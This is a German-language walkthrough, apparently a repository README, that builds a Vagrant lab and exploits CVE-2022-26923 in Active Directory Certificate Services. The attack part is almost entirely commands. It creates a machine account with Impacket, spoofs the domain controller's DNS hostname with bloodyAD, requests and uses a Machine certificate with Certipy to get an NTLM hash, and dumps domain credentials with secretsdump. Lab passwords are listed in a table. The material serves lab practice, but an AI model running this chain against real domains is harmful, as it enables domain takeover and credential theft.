
Ausnutzung für CVE-2022-26923
CVE-2022-26923 ist eine Schwachstelle in Active Directory Certificate Services (AD CS), die es einem Angreifer ermöglicht, Privilegien durch Missbrauch der zertifikatsbasierten Authentifizierung zu eskalieren. Diese Anleitung beschreibt die Schritte zur Ausnutzung dieser Schwachstelle mit Impacket und Certipy.
| Virtuelle Maschine | Benutzername | Passwort |
|---|---|---|
| Windows Server | Administrator | !@windowsadmintest101 |
| Windows Server | testuser | $Vulnerable139 |
| Kali-Linux VM | vagrant | vagrant |
Klonen Sie zunächst das Repository mit den erforderlichen Dateien:
git clone https://github.com/rayngnpc/CVE-2022-26923-rayng.git
cd CVE-2022-26923-rayng
Das Repository enthält zwei Ordner, jeder mit einer Vagrantfile zur Bereitstellung virtueller Maschinen. Sie müssen Vagrant auf Ihrem Host-Rechner installieren, bevor Sie fortfahren.
Laden Sie Vagrant von hier herunter und installieren Sie es. Oder installieren Sie es mit PowerShell:
choco install vagrant
sudo apt update && sudo apt install vagrant -y
Navigieren Sie zum Verzeichnis WindowsServer2022:
cd WindowsServer2022
vagrant up
Dies lädt die Windows Server 2022 VM in VirtualBox herunter und richtet sie ein.
Navigieren Sie zum Verzeichnis Kali-LinuxVM:
cd Kali-LinuxVM
vagrant up
Da der Exploit ein NAT-Netzwerk erfordert, konfigurieren Sie VirtualBox wie folgt:
Stellen Sie vor dem Ausführen des folgenden Befehls sicher, dass VBoxManage zu Ihren Umgebungsvariablen hinzugefügt wurde. Falls nicht, führen Sie den Befehl mit dem vollständigen Pfad aus:
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
Wenn VBoxManage nicht erkannt wird, verwenden Sie:
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
Stellen Sie sicher, dass beide VMs in VirtualBox überprüft werden und dass sie dem Netzwerkadapter NatNetwork - NatNet1 zugewiesen sind.
Sie können ein NAT-Netzwerk mit einem anderen Namen erstellen, aber es muss im IP-Bereich 10.0.2.0/24 liegen.
Stellen Sie vor dem Fortfahren sicher, dass sowohl Windows Server 2022 als auch Kali Linux VM eingeschaltet sind.
Greifen Sie auf die Kali Linux VM zu, um den Angriff zu starten.
Aktualisieren Sie Ihre /etc/hosts-Datei, um die IP des Domänencontrollers zuzuordnen:
sudo nano /etc/hosts
Fügen Sie den folgenden Eintrag hinzu:
10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local
Speichern und schließen.
Navigieren Sie zum Verzeichnis CVE-26923 und aktivieren Sie die Python-Virtual-Umgebung:
cd ~/CVE-26923
source ~/CVE-26923/rayng/bin/activate
Mit dem addcomputer-Dienstprogramm von Impacket:
impacket-addcomputer -computer-name 'PCTEST1' -computer-pass 'testuser' -dc-host 10.0.2.121 -domain-netbios pchau.domain.local pchau.domain.local/testuser:'$Vulnerable139'
ssh [email protected]
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname
Set-ADComputer PCTEST1 -DnsHostName SERVER2022.pchau.domain.local
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname
Überprüfen Sie die Domänencomputer:
impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121
Navigieren Sie zum Verzeichnis bloodyAD und verwenden Sie bloodyAD.py, um PCTEST1 zur Domäne hinzuzufügen:
cd ~/CVE-26923/bloodyAD/
python3 bloodyAD.py -d pchau.domain.local -u testuser -p '$Vulnerable139' --host 10.0.2.121 set object PCTEST1$ dNSHostName -v 'SERVER2022.pchau.domain.local'
Überprüfen Sie, ob PCTEST1 der Domäne zugewiesen wurde:
impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121
Verwenden Sie Certipy, um angreifbare Zertifikate zu finden:
certipy find -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser'
Fordern Sie ein Maschinenzertifikat mit Certipy an:
certipy req -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser' -template Machine -ca pchau-SERVER2022-CA
Authentifizieren Sie sich mit dem erhaltenen Zertifikat:
certipy auth -pfx server2022.pfx
Nach dem Ausführen des certipy auth-Befehls werden zwei Hashes angezeigt. Der rechte Hash wird für die NTLM-Authentifizierung verwendet.
Beispiel-Hash-Ausgabe:
aad3b435b51404eeaad3b435b51404ee:69079fd4946af567d682d61e121f29e7
Verwenden Sie den extrahierten NTLM-Hash zum Dumpen von Anmeldedaten:
impacket-secretsdump '[email protected]' -hashes :69079fd4946af567d682d61e121f29e7
Damit ist die vollständige Angriffskette zur Ausnutzung von CVE-2022-26923 abgeschlossen.